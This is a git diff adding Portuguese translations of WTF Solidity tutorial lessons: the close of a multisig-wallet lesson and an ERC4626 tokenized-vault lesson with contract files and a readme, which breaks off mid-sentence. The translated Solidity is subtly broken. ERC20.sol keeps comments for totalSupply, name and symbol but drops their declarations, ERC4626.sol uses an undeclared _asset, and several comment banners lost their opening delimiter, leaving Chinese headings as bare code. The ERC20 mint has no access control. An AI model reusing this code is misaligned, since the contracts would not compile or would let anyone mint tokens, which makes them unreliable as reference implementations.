ETH para o endereço da carteira multisig. + + ![Transferência](./img/50-3.png) + +3. Chame a função `encodeTransactionData()` para codificar e calcular o hash da transação para transferir 1 ETH para o endereço do signatário 1. + + ```solidity + Parâmetros + to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + value: 1000000000000000000 + data: 0x + _nonce: 0 + chainid: 1 + + Resultado + Hash da transação: 0xb43ad6901230f2c59c3f7ef027c9a372f199661c61beeec49ef5a774231fc39b + ``` + + ![Cálculo do Hash da Transação](./img/50-4.png) + +4. Use o botão de assinatura ao lado da conta no Remix para assinar a transação. Insira o hash da transação do passo 3 e obtenha a assinatura de ambos os wallets. Ambos os wallets devem assinar. + + ``` + Assinatura do signatário 1: 0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b + + Assinatura do signatário 2: 0x6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c + + Assinatura compactada: + 0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c + ``` + + ![Assinatura](./img/50-5.png) + +5. Chame a função `execTransaction()` para executar a transação, passando os parâmetros da transação do passo 3 e a assinatura compactada como argumentos. Você verá que a transação foi executada com sucesso e o ETH foi transferido da carteira multisig. + + ![Execução da Transação da Carteira Multisig](./img/50-6.png) + +## Conclusão + +Nesta lição, falamos sobre carteiras multisig e escrevemos um contrato de carteira multisig simplificado com menos de 150 linhas de código. + +Tenho uma conexão especial com carteiras multisig. Em 2021, estudei o Gnosis Safe para criar o tesouro da PeopleDAO e escrevi um tutorial em inglês e português sobre como usá-lo [aqui](https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s). Desde então, tive a sorte de ser um dos signatários de três tesouros, garantindo a segurança dos ativos, e agora sou um guardião do Safe, participando ativamente da governança. Espero que todos tenham ativos mais seguros. + diff --git a/Languages/pt-br/51_ERC4626/ERC20.sol b/Languages/pt-br/51_ERC4626/ERC20.sol new file mode 100644 index 000000000..6d3227127 --- /dev/null +++ b/Languages/pt-br/51_ERC4626/ERC20.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity por 0xAA + +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + // Fornecimento total de tokens + + // Nome + // Símbolos + + // Número de casas decimais + + // @dev Implement token name and symbol during contract deployment + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev Implement the `transfer` function, logic for token transfer + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev Implement the `approve` function, token authorization logic + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev Implement the `transferFrom` function, which handles token transfer with authorization + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev Cunhar tokens e transferir do endereço `0` para o endereço do chamador + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev Destruir tokens, transferindo-os do endereço do chamador para o endereço `0` + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} \ No newline at end of file diff --git a/Languages/pt-br/51_ERC4626/ERC4626.sol b/Languages/pt-br/51_ERC4626/ERC4626.sol new file mode 100644 index 000000000..a2374e909 --- /dev/null +++ b/Languages/pt-br/51_ERC4626/ERC4626.sol @@ -0,0 +1,181 @@ + +// SPDX-License-Identifier: MIT +pragma solidity >=0.8.0; + +import {IERC4626} from "./IERC4626.sol"; +import {ERC20, IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +/** + * @dev Contrato ERC4626 "Padrão de Tesouraria Tokenizada", apenas para uso educacional, não utilizar em produção + */ +contract ERC4626 is ERC20, IERC4626 { + ////////////////////////////////////////////////////////////// + 状态变量 + //////////////////////////////////////////////////////////////*/ + // + uint8 private immutable _decimals; + + constructor( + ERC20 asset_, + string memory name_, + string memory symbol_ + ) ERC20(name_, symbol_) { + _asset = asset_; + _decimals = asset_.decimals(); + + } + + /** @dev Veja {IERC4626-asset}. */ + function asset() public view virtual override returns (address) { + return address(_asset); + } + + /** + * Veja {IERC20Metadata-decimals}. + */ + function decimals() public view virtual override(IERC20Metadata, ERC20) returns (uint8) { + return _decimals; + } + + ////////////////////////////////////////////////////////////// + 存款/提款逻辑 + //////////////////////////////////////////////////////////////*/ + /** @dev Veja {IERC4626-depositar}. */ + function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) { + // Utilizando o previewDeposit() para calcular a participação no cofre que será obtida + shares = previewDeposit(assets); + + // Primeiro transferir e depois criar, para evitar reentrância + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // Liberar o evento de Depósito + emit Deposit(msg.sender, receiver, assets, shares); + } + + /** @dev Veja {IERC4626-mint}. */ + function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) { + // Usando previewMint() para calcular a quantidade de ativos básicos necessários para depósito + assets = previewMint(shares); + + // Primeiro transferir e depois criar, para evitar reentrância + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // Liberar o evento de Depósito + emit Deposit(msg.sender, receiver, assets, shares); + + } + + /** @dev Veja {IERC4626-withdraw}. */ + function withdraw( + uint256 assets, + address receiver, + address owner + ) public virtual returns (uint256 shares) { + // Utilizando o previewWithdraw() para calcular a quantidade de ações do cofre a serem destruídas. + shares = previewWithdraw(assets); + + // Se o chamador não for o proprietário, verifique e atualize a autorização + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // Primeiro destrua e depois transfira para evitar reentrância + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // Liberar a função Withdraw + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /** @dev Veja {IERC4626-resgatar}. */ + function redeem( + uint256 shares, + address receiver, + address owner + ) public virtual returns (uint256 assets) { + // Usando previewRedeem() para calcular a quantidade de ativos básicos que podem ser resgatados + assets = previewRedeem(shares); + + // Se o chamador não for o proprietário, verifique e atualize a autorização + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // Primeiro destrua e depois transfira para evitar reentrância + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // Liberando a função Withdraw + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + ////////////////////////////////////////////////////////////// + 会计逻辑 + //////////////////////////////////////////////////////////////*/ + /** @dev Veja {IERC4626-totalAssets}. */ + function totalAssets() public view virtual returns (uint256){ + // Retorna a posição do ativo subjacente no contrato + return _asset.balanceOf(address(this)); + } + + /** @dev Veja {IERC4626-convertToShares}. */ + function convertToShares(uint256 assets) public view virtual returns (uint256) { + uint256 supply = totalSupply(); + // Se o fornecimento for 0, então a cota do cofre será de 1:1. + // Se o fornecimento não for zero, então cunhe proporcionalmente. + return supply == 0 ? assets : assets * supply / totalAssets(); + } + + /** @dev Veja {IERC4626-convertToAssets}. */ + function convertToAssets(uint256 shares) public view virtual returns (uint256) { + uint256 supply = totalSupply(); + // Se o fornecimento for 0, então resgate os ativos subjacentes na proporção de 1:1. + // Se o fornecimento não for zero, resgate proporcionalmente. + return supply == 0 ? shares : shares * totalAssets() / supply; + } + + /** @dev Veja {IERC4626-previewDeposit}. */ + function previewDeposit(uint256 assets) public view virtual returns (uint256) { + return convertToShares(assets); + } + + /** @dev Veja {IERC4626-previewMint}. */ + function previewMint(uint256 shares) public view virtual returns (uint256) { + return convertToAssets(shares); + } + + /** @dev Veja {IERC4626-previewWithdraw}. */ + function previewWithdraw(uint256 assets) public view virtual returns (uint256) { + return convertToShares(assets); + } + + /** @dev Veja {IERC4626-previewRedeem}. */ + function previewRedeem(uint256 shares) public view virtual returns (uint256) { + return convertToAssets(shares); + } + + ////////////////////////////////////////////////////////////// + DEPOSIT/WITHDRAWAL LIMIT LOGIC + //////////////////////////////////////////////////////////////*/ + /** @dev Veja {IERC4626-maxDeposit}. */ + function maxDeposit(address) public view virtual returns (uint256) { + return type(uint256).max; + } + + /** @dev Veja {IERC4626-maxMint}. */ + function maxMint(address) public view virtual returns (uint256) { + return type(uint256).max; + } + + /** @dev Veja {IERC4626-maxWithdraw}. */ + function maxWithdraw(address owner) public view virtual returns (uint256) { + return convertToAssets(balanceOf(owner)); + } + + /** @dev Veja {IERC4626-maxRedeem}. */ + function maxRedeem(address owner) public view virtual returns (uint256) { + return balanceOf(owner); + } +} \ No newline at end of file diff --git a/Languages/pt-br/51_ERC4626/IERC4626.sol b/Languages/pt-br/51_ERC4626/IERC4626.sol new file mode 100644 index 000000000..f212818d2 --- /dev/null +++ b/Languages/pt-br/51_ERC4626/IERC4626.sol @@ -0,0 +1,169 @@ +// SPDX-License-Identifier: MIT +// Autor: 0xAA da WTF Academy + +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; + +/** + * @dev Contrato de interface para o padrão "Tesouraria Tokenizada" ERC4626 + * https://eips.ethereum.org/EIPS/eip-4626[ERC-4626]. + */ +interface IERC4626 is IERC20, IERC20Metadata { + ////////////////////////////////////////////////////////////// + 事件 + //////////////////////////////////////////////////////////////*/ + // Acionado ao fazer um depósito + event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares); + + // Ao fazer um saque + event Withdraw( + address indexed sender, + address indexed receiver, + address indexed owner, + uint256 assets, + uint256 shares + ); + + ////////////////////////////////////////////////////////////// + 元数据 + //////////////////////////////////////////////////////////////*/ + /** + * @dev Retorna o endereço do token de ativo base do cofre (para depósito e retirada) + * - Deve ser um endereço de contrato de token ERC20. + * - Não pode reverter. + */ + function asset() external view returns (address assetTokenAddress); + + ////////////////////////////////////////////////////////////// + 存款/提款逻辑 + //////////////////////////////////////////////////////////////*/ + /** + * @dev Função de depósito: o usuário deposita ativos básicos na tesouraria na quantidade de 'assets' unidades e o contrato emite 'shares' unidades de crédito da tesouraria para o endereço do destinatário. + * + * - Deve emitir o evento Deposit. + * - Se os ativos não puderem ser depositados, deve reverter, por exemplo, se o valor do depósito for muito maior que o limite. + */ + function deposit(uint256 assets, address receiver) external returns (uint256 shares); + + /** + * @dev Função de cunhagem: o usuário precisa depositar ativos na unidade de base, e então o contrato cunha a quantidade de ações do cofre para o endereço do receptor + * - Deve emitir o evento Deposit. + * - Se não for possível cunhar todo o valor do cofre, deve reverter, por exemplo, se a quantidade a ser cunhada for maior que o limite. + */ + function mint(uint256 shares, address receiver) external returns (uint256 assets); + + /** + * @dev Função de saque: o endereço do proprietário destrói a quantidade de compartilhamento do cofre e, em seguida, o contrato envia a quantidade de ativos básicos para o endereço do receptor + * - Dispara o evento Withdraw + * - Se não for possível sacar todos os ativos básicos, ocorrerá um revert + */ + function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares); + + /** + * @dev Função de resgate: o endereço do proprietário destrói a quantidade de ações do cofre e, em seguida, o contrato envia os ativos de base na quantidade de ativos para o endereço do receptor + * - Dispara o evento de retirada (Withdraw) + * - Se não for possível destruir todo o saldo do cofre, reverte a transação + */ + function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets); + + ////////////////////////////////////////////////////////////// + 会计逻辑 + //////////////////////////////////////////////////////////////*/ + + /** + * @dev Retorna o total de tokens de ativos básicos gerenciados pelo cofre + * - Deve incluir juros + * - Deve incluir taxas + * - Não deve reverter + */ + function totalAssets() external view returns (uint256 totalManagedAssets); + + /** + * @dev Retorna o limite do cofre que pode ser obtido trocando uma certa quantidade de ativos básicos + * - Não inclui taxas + * - Não inclui deslizamento + * - Não pode reverter + */ + function convertToShares(uint256 assets) external view returns (uint256 shares); + + /** + * @dev Retorna os ativos básicos que podem ser trocados por uma determinada quantidade de saldo do cofre. + * - Não inclui taxas + * - Não inclui deslizamento + * - Não pode reverter + */ + function convertToAssets(uint256 shares) external view returns (uint256 assets); + + /** + * @dev Função para simular o valor do cofre que os usuários podem obter ao depositar uma certa quantidade de ativos básicos, tanto on-chain quanto off-chain, no ambiente atual da cadeia. + * - O valor retornado deve ser próximo e não maior do que o valor do cofre obtido ao fazer o depósito na mesma transação. + * - Não leve em consideração restrições como maxDeposit, suponha que a transação de depósito do usuário seja bem-sucedida. + * - Leve em consideração as taxas. + * - Não deve reverter. + * OBS: É possível calcular o slippage usando a diferença entre o valor retornado pela função convertToAssets e o valor retornado pela função previewDeposit. + */ + function previewDeposit(uint256 assets) external view returns (uint256 shares); + + /** + * @dev Usado para simular a quantidade de ativos básicos que os usuários on-chain e off-chain precisam depositar para simular a criação de uma quantidade de ações no cofre nesta cadeia. + * - O valor de retorno deve ser próximo e não menor do que a quantidade de depósito necessária para criar uma certa quantidade de ações no cofre na mesma transação. + * - Não leve em consideração restrições como maxMint, suponha que a transação de depósito do usuário seja bem-sucedida. + * - Leve em consideração as taxas. + * - Não pode reverter. + */ + function previewMint(uint256 shares) external view returns (uint256 assets); + + /** + * @dev Função para simular a quantidade de cotas do cofre que precisam ser resgatadas para um determinado valor de ativos básicos, tanto para usuários on-chain quanto off-chain, no ambiente atual da cadeia. + * - O valor retornado deve ser próximo e não maior do que a quantidade de cotas do cofre necessárias para resgatar um determinado valor de ativos básicos na mesma transação de resgate. + * - Não leve em consideração restrições como maxWithdraw, suponha que a transação de resgate do usuário será bem-sucedida. + * - Leve em consideração as taxas. + * - Não deve reverter. + */ + function previewWithdraw(uint256 assets) external view returns (uint256 shares); + + /** + * @dev Função para simular a quantidade de ativos básicos que podem ser resgatados com base na quantidade de ações destruídas pelo usuário na cadeia e fora dela no ambiente atual da cadeia. + * - O valor de retorno deve ser próximo e não menor do que a quantidade de ativos básicos que podem ser resgatados com base na destruição de uma certa quantidade de ações na mesma transação. + * - Não leve em consideração restrições como maxRedeem, suponha que a transação de resgate do usuário seja bem-sucedida. + * - Leve em consideração as taxas. + * - Não pode reverter. + */ + function previewRedeem(uint256 shares) external view returns (uint256 assets); + + ////////////////////////////////////////////////////////////// + 存款/提款限额逻辑 + //////////////////////////////////////////////////////////////*/ + /** + * @dev Retorna o valor máximo de ativos básicos que um endereço de usuário pode depositar de uma só vez. + * - Se houver um limite de depósito, o valor retornado deve ser um valor finito. + * - O valor retornado não pode exceder 2 ** 256 - 1. + * - Não pode reverter. + */ + function maxDeposit(address receiver) external view returns (uint256 maxAssets); + + /** + * @dev Retorna o limite máximo de tesouro que um endereço de usuário pode criar em uma única cunhagem + * - Se houver um limite de cunhagem, o valor retornado deve ser um valor finito + * - O valor retornado não pode exceder 2 ** 256 - 1 + * - Não pode reverter + */ + function maxMint(address receiver) external view returns (uint256 maxShares); + + /** + * @dev Retorna o valor máximo de ativos básicos que um usuário pode sacar de uma só vez em um determinado endereço + * - O valor retornado deve ser um valor finito + * - Não deve reverter + */ + function maxWithdraw(address owner) external view returns (uint256 maxAssets); + + /** + * @dev Retorna o limite máximo do tesouro que um endereço de usuário pode destruir em um único resgate. + * - O valor retornado deve ser um valor finito. + * - Se não houver outras restrições, o valor retornado deve ser balanceOf(owner). + * - Não pode reverter. + */ + function maxRedeem(address owner) external view returns (uint256 maxShares); +} \ No newline at end of file diff --git a/Languages/pt-br/51_ERC4626/img/51-1.png b/Languages/pt-br/51_ERC4626/img/51-1.png new file mode 100644 index 000000000..a6a84445d Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-1.png differ diff --git a/Languages/pt-br/51_ERC4626/img/51-2-1.png b/Languages/pt-br/51_ERC4626/img/51-2-1.png new file mode 100644 index 000000000..7a303ae0e Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-2-1.png differ diff --git a/Languages/pt-br/51_ERC4626/img/51-2-2.png b/Languages/pt-br/51_ERC4626/img/51-2-2.png new file mode 100644 index 000000000..826bdc418 Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-2-2.png differ diff --git a/Languages/pt-br/51_ERC4626/img/51-3.png b/Languages/pt-br/51_ERC4626/img/51-3.png new file mode 100644 index 000000000..60eee12e5 Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-3.png differ diff --git a/Languages/pt-br/51_ERC4626/img/51-4.png b/Languages/pt-br/51_ERC4626/img/51-4.png new file mode 100644 index 000000000..e3822d817 Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-4.png differ diff --git a/Languages/pt-br/51_ERC4626/img/51-5.png b/Languages/pt-br/51_ERC4626/img/51-5.png new file mode 100644 index 000000000..394254f75 Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-5.png differ diff --git a/Languages/pt-br/51_ERC4626/img/51-6.png b/Languages/pt-br/51_ERC4626/img/51-6.png new file mode 100644 index 000000000..c806f059f Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-6.png differ diff --git a/Languages/pt-br/51_ERC4626/img/51-7.png b/Languages/pt-br/51_ERC4626/img/51-7.png new file mode 100644 index 000000000..257d55743 Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-7.png differ diff --git a/Languages/pt-br/51_ERC4626/img/51-8.png b/Languages/pt-br/51_ERC4626/img/51-8.png new file mode 100644 index 000000000..bc330e9c7 Binary files /dev/null and b/Languages/pt-br/51_ERC4626/img/51-8.png differ diff --git a/Languages/pt-br/51_ERC4626/readme.md b/Languages/pt-br/51_ERC4626/readme.md new file mode 100644 index 000000000..749b60ca5 --- /dev/null +++ b/Languages/pt-br/51_ERC4626/readme.md @@ -0,0 +1,480 @@ +--- +title: 51. Padrão de Tesouraria Tokenizada ERC4626 +tags: + - solidity + - erc20 + - erc4626 + - defi + - tesouraria + - openzepplin +--- + +# WTF Introdução Simples ao Solidity: 51. Padrão de Tesouraria Tokenizada ERC4626 + +Recentemente, tenho estudado Solidity novamente para revisar os detalhes e escrever um "WTF Introdução Simples ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Frequentemente dizemos que DeFi é como Lego de moedas, onde é possível criar novos protocolos combinando vários protocolos existentes. No entanto, devido à falta de padrões no DeFi, a capacidade de combinação é seriamente afetada. O ERC4626 estende o padrão de token ERC20 e tem como objetivo padronizar as tesourarias tokenizadas. Nesta aula, vamos apresentar o novo padrão ERC4626 para DeFi e escrever um contrato simples de tesouraria. O código de ensino é baseado nos contratos ERC4626 do OpenZeppelin e Solmate, e é apenas para fins educacionais. + +## Tesouraria + +O contrato de tesouraria é a base do Lego DeFi, permitindo que você faça um depósito de ativos básicos (tokens) no contrato em troca de um rendimento. Alguns casos de uso incluem: + +- Fazenda de rendimento: Na Yearn Finance, você pode fazer um depósito de USDT para obter juros. +- Empréstimo: Na AAVE, você pode emprestar ETH para obter juros sobre o depósito e empréstimo. +- Stake: Na Lido, você pode fazer um depósito de ETH para participar do staking do ETH 2.0 e receber stETH, que pode ser usado para obter juros. + +## ERC4626 + +![](./img/51-1.png) + +Devido à falta de padronização nos contratos de tesouraria, existem muitas variações, e um agregador de rendimento precisa ter várias interfaces para se conectar a diferentes projetos DeFi. O padrão de tesouraria tokenizada ERC4626 (Tokenized Vault Standard) foi criado para facilitar a expansão do DeFi. Ele possui as seguintes vantagens: + +1. Tokenização: O ERC4626 herda o ERC20, então, ao depositar na tesouraria, você recebe tokens de tesouraria que seguem o padrão ERC20. Por exemplo, ao fazer um depósito de ETH, você automaticamente recebe stETH. + +2. Maior liquidez: Devido à tokenização, você pode usar os tokens de tesouraria para outras finalidades sem precisar resgatar os ativos básicos. Por exemplo, com o stETH da Lido, você pode fornecer liquidez ou fazer transações na Uniswap sem precisar resgatar o ETH. + +3. Maior capacidade de combinação: Com um padrão estabelecido, é possível interagir com todas as tesourarias ERC4626 usando uma única interface, o que facilita o desenvolvimento de aplicativos, plugins e ferramentas baseados em tesourarias. + +Em resumo, o ERC4626 é tão importante para o DeFi quanto o ERC721 é para os NFTs. + +### Pontos-chave do ERC4626 + +O padrão ERC4626 implementa principalmente a seguinte lógica: + +1. ERC20: O ERC4626 herda o ERC20, e as tesourarias são representadas por tokens ERC20. Quando um usuário deposita um ativo básico específico (como WETH) na tesouraria, o contrato emite uma quantidade correspondente de tokens de tesouraria. Quando um usuário retira um ativo básico da tesouraria, a quantidade correspondente de tokens de tesouraria é destruída. A função `asset()` retorna o endereço do token de ativo básico da tesouraria. +2. Lógica de depósito: Permite que os usuários depositem ativos básicos e emitam tokens de tesouraria correspondentes. As funções relacionadas são `deposit()` e `mint()`. A função `deposit(uint assets, address receiver)` permite que os usuários depositem uma quantidade de ativos e emita uma quantidade correspondente de tokens de tesouraria para o endereço `receiver`. A função `mint(uint shares, address receiver)` é semelhante, mas emite tokens de tesouraria em vez de receber uma quantidade específica. +3. Lógica de retirada: Permite que os usuários destruam tokens de tesouraria e retirem uma quantidade correspondente de ativos básicos da tesouraria. As funções relacionadas são `withdraw()` e `redeem()`, onde a primeira recebe a quantidade de ativos básicos a serem retirados como parâmetro, e a segunda recebe a quantidade de tokens de tesouraria a serem destruídos como parâmetro. +4. Lógica de contabilidade e limites: O padrão ERC4626 também inclui outras funções para calcular os ativos gerenciados pela tesouraria, limites de depósito/retirada e a quantidade de ativos básicos e tokens de tesouraria depositados/retirados. + +### Contrato de Interface IERC4626 + +O contrato de interface IERC4626 contém 2 eventos: +- Evento `Deposit`: Disparado ao fazer um depósito. +- Evento `Withdraw`: Disparado ao fazer uma retirada. + +O contrato de interface IERC4626 também contém 16 funções, divididas em 4 categorias: metadados, lógica de depósito/retirada, lógica de contabilidade e lógica de limites de depósito/retirada. + +- Metadados + + - `asset()`: Retorna o endereço do token de ativo básico da tesouraria, usado para depósito e retirada. +- Lógica de depósito/retirada + - `deposit()`: Função de depósito que permite que os usuários depositem uma quantidade de ativos básicos na tesouraria e emita uma quantidade correspondente de tokens de tesouraria para o endereço `receiver`. Deve emitir o evento `Deposit`. + - `mint()`: Função de emissão que permite que os usuários depositem uma quantidade de ativos básicos na tesouraria e emita uma quantidade correspondente de tokens de tesouraria para o endereço `receiver`. Deve emitir o evento `Deposit`. + - `withdraw()`: Função de retirada que permite que o endereço `owner` destrua uma quantidade de tokens de tesouraria e retire uma quantidade correspondente de ativos básicos da tesouraria para o endereço `receiver`. Deve emitir o evento `Withdraw`. + - `redeem()`: Função de resgate que permite que o endereço `owner` destrua uma quantidade de tokens de tesouraria e retire uma quantidade correspondente de ativos básicos da tesouraria para o endereço `receiver`. Deve emitir o evento `Withdraw`. +- Lógica de contabilidade + - `totalAssets()`: Retorna o valor total dos ativos básicos gerenciados pela tesouraria. + - `convertToShares()`: Retorna a quantidade de tokens de tesouraria que podem ser obtidos em troca de uma determinada quantidade de ativos básicos. + - `convertToAssets()`: Retorna a quantidade de ativos básicos que podem ser obtidos em troca de uma determinada quantidade de tokens de tesouraria. + - `previewDeposit()`: Usado para simular a quantidade de tokens de tesouraria que podem ser obtidos ao depositar uma determinada quantidade de ativos básicos no ambiente atual da cadeia. + - `previewMint()`: Usado para simular a quantidade de ativos básicos necessários para emitir uma determinada quantidade de tokens de tesouraria no ambiente atual da cadeia. + - `previewWithdraw()`: Usado para simular a quantidade de tokens de tesouraria que precisam ser destruídos para retirar uma determinada quantidade de ativos básicos no ambiente atual da cadeia. + - `previewRedeem()`: Usado para simular a quantidade de ativos básicos que podem ser resgatados ao destruir uma determinada quantidade de tokens de tesouraria no ambiente atual da cadeia. +- Lógica de limites de depósito/retirada + - `maxDeposit()`: Retorna a quantidade máxima de ativos básicos que um determinado endereço pode depositar de uma só vez. + - `maxMint()`: Retorna a quantidade máxima de tokens de tesouraria que um determinado endereço pode emitir de uma só vez. + - `maxWithdraw()`: Retorna a quantidade máxima de ativos básicos que um determinado endereço pode retirar de uma só vez. + - `maxRedeem()`: Retorna a quantidade máxima de tokens de tesouraria que um determinado endereço pode destruir de uma só vez. + +```solidity +// SPDX-License-Identifier: MIT +// Author: 0xAA from WTF Academy + +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; + +/** + * @dev Contrato de interface do ERC4626 "Padrão de Tesouraria Tokenizada" + * https://eips.ethereum.org/EIPS/eip-4626[ERC-4626]. + */ +interface IERC4626 is IERC20, IERC20Metadata { + /*////////////////////////////////////////////////////////////// + Eventos + //////////////////////////////////////////////////////////////*/ + // Disparado ao fazer um depósito + event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares); + + // Disparado ao fazer uma retirada + event Withdraw( + address indexed sender, + address indexed receiver, + address indexed owner, + uint256 assets, + uint256 shares + ); + + /*////////////////////////////////////////////////////////////// + Metadados + //////////////////////////////////////////////////////////////*/ + /** + * @dev Retorna o endereço do token de ativo básico da tesouraria (usado para depósito e retirada) + * - Deve ser o endereço do contrato do token ERC20. + * - Não deve reverter. + */ + function asset() external view returns (address assetTokenAddress); + + /*////////////////////////////////////////////////////////////// + Lógica de Depósito/Retirada + //////////////////////////////////////////////////////////////*/ + /** + * @dev Função de depósito: Permite que os usuários depositem uma quantidade de ativos básicos na tesouraria e emita uma quantidade correspondente de tokens de tesouraria para o endereço `receiver` + * + * - Deve emitir o evento Deposit. + * - Se o ativo não puder ser depositado, deve reverter, por exemplo, se a quantidade de depósito for muito alta, etc. + */ + function deposit(uint256 assets, address receiver) external returns (uint256 shares); + + /** + * @dev Função de emissão: Permite que os usuários depositem uma quantidade de ativos básicos na tesouraria e emita uma quantidade correspondente de tokens de tesouraria para o endereço `receiver` + * - Deve emitir o evento Deposit. + * - Se não for possível emitir todos os tokens de tesouraria, deve reverter, por exemplo, se a quantidade de emissão for muito alta, etc. + */ + function mint(uint256 shares, address receiver) external returns (uint256 assets); + + /** + * @dev Função de retirada: Permite que o endereço `owner` destrua uma quantidade de tokens de tesouraria e retire uma quantidade correspondente de ativos básicos da tesouraria para o endereço `receiver` + * - Deve emitir o evento Withdraw. + * - Se não for possível retirar todos os ativos básicos, deve reverter. + */ + function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares); + + /** + * @dev Função de resgate: Permite que o endereço `owner` destrua uma quantidade de tokens de tesouraria e retire uma quantidade correspondente de ativos básicos da tesouraria para o endereço `receiver` + * - Deve emitir o evento Withdraw. + * - Se não for possível resgatar todos os ativos básicos, deve reverter. + */ + function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets); + + /*////////////////////////////////////////////////////////////// + Lógica de Contabilidade + //////////////////////////////////////////////////////////////*/ + + /** + * @dev Retorna o valor total dos ativos básicos gerenciados pela tesouraria + * - Deve incluir juros. + * - Deve incluir taxas. + * - Não deve reverter. + */ + function totalAssets() external view returns (uint256 totalManagedAssets); + + /** + * @dev Retorna a quantidade de tokens de tesouraria que podem ser obtidos em troca de uma determinada quantidade de ativos básicos + * - Não deve incluir taxas. + * - Não deve incluir slippage. + * - Não deve reverter. + */ + function convertToShares(uint256 assets) external view returns (uint256 shares); + + /** + * @dev Retorna a quantidade de ativos básicos que podem ser obtidos em troca de uma determinada quantidade de tokens de tesouraria + * - Não deve incluir taxas. + * - Não deve incluir slippage. + * - Não deve reverter. + */ + function convertToAssets(uint256 shares) external view returns (uint256 assets); + + /** + * @dev Usado para simular a quantidade de tokens de tesouraria que podem ser obtidos ao depositar uma determinada quantidade de ativos básicos no ambiente atual da cadeia + * - O valor retornado deve ser próximo e não maior do que o valor obtido ao fazer um depósito na mesma transação. + * - Não deve considerar limites como maxDeposit, supondo que a transação de depósito do usuário seja bem-sucedida. + * - Deve considerar taxas. + * - Não deve reverter. + * NOTA: A diferença entre o valor retornado por convertToAssets e previewDeposit pode ser usada para calcular o slippage. + */ + function previewDeposit(uint256 assets) external view returns (uint256 shares); + + /** + * @dev Usado para simular a quantidade de ativos básicos necessários para emitir uma determinada quantidade de tokens de tesouraria no ambiente atual da cadeia + * - O valor retornado deve ser próximo e não menor do que o valor necessário para emitir a mesma quantidade de tokens de tesouraria na mesma transação. + * - Não deve considerar limites como maxMint, supondo que a transação de emissão do usuário seja bem-sucedida. + * - Deve considerar taxas. + * - Não deve reverter. + */ + function previewMint(uint256 shares) external view returns (uint256 assets); + + /** + * @dev Usado para simular a quantidade de tokens de tesouraria que precisam ser destruídos para retirar uma determinada quantidade de ativos básicos no ambiente atual da cadeia + * - O valor retornado deve ser próximo e não maior do que a quantidade de tokens de tesouraria que seriam destruídos ao fazer uma retirada na mesma 